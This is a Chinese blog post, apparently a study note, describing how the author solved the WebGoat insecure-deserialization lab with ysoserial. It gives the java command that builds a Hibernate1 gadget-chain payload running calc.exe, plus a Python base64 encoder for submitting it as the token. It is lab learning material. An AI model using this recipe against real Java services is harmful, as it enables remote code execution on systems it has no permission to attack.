(渗透学习)ysoserial工具使用--java反序列化漏洞利用

(渗透学习)ysoserial工具使用--java反序列化漏洞利用,第1张

(渗透学习)ysoserial工具使用--java反序列化漏洞利用

工具下载地址:https://github.com/angelwhu/ysoserial

使用方法可参考:https://blog.csdn.net/weixin_34275734/article/details/92243836

靶场webgoat---Insecure Deserializetion---5

分析漏洞:

题目给的数据是rO0AB开头,所以是经过了base64加密的java序列化对象。

 解码后是一段英文,百度翻译也没发现有啥用处:

题目还给出了一个接收序列化数据的表单,先分析一波:

用burpsuite抓包:

 

 可以看到,表单提交的数据通过token接收,并发送到/InsecureDeserialization/task这个页面,可以通过/InsecureDeserialization/task找出对应的源码

所以,页面接收的token是一段经过base64编码的序列化数据

利用漏洞:----ysoserial工具

找到了传输序列化数据的接口,接下来就需要构造payload了

首先肯定是查找已知漏洞的利用,对于分析代码去构造payload,没技术不说,也没时间去搞,最简单最直接就是找披露过的java插件漏洞。

运行ysoserial工具

java -jar ysoserial.jar

按照ysoserial支持的插件,查找webgoat是否安装了对应的jar包,这里只有两个:

Hibernate和spring-core 但是spring-core的版本不一致,所以就选择Hibernate

将Hibernate的jar包复制到ysoserial工具的目录下,jar包名字中必须是有core的,是插件的核心

 我这里是hibernate-core-5.4.6.Final.jar这个包,利用ysoserial生成payload,执行以下命令

 java -Dhibernate5 -cp hibernate-core-5.4.6.Final.jar;ysoserial.jar ysoserial.GeneratePayload Hibernate1 calc.exe > token.bin

 java -Dhibernate5 -cp hibernate-core-5.4.6.Final.jar;  //表示hibernate5的插件

ysoserial.jar ysoserial.GeneratePayload Hibernate1 calc.exe > token.bin  //生成Hibernate1插件反序列化漏洞的payload,执行calc.exe命令,将payload保存在token.bin文件中

payload生成了,但是表单接收的是经过base64编码的:采用python写的简单脚本对payloadbase64编码

import base64

filename = input("输入需要base64编码的文件名:")
s = open(filename, "rb").read() #文本默认模式读取文件内容rt
base64_str = base64.urlsafe_b64encode(s)
#文本默认模式写入文件内容wt
open("base64.txt", "wt",encoding="utf-8").write(base64_str.decode())

将编码的字符串提交:

成功执行calc.exe命令,题目说要延时5s,也不知道是cmd还是web页面的,搞不懂

 

 

欢迎分享,转载请注明来源:内存溢出

原文地址:https://www.54852.com/zaji/5694542.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2022-12-17
下一篇2022-12-17

发表评论

登录后才能评论

评论列表(0条)

    保存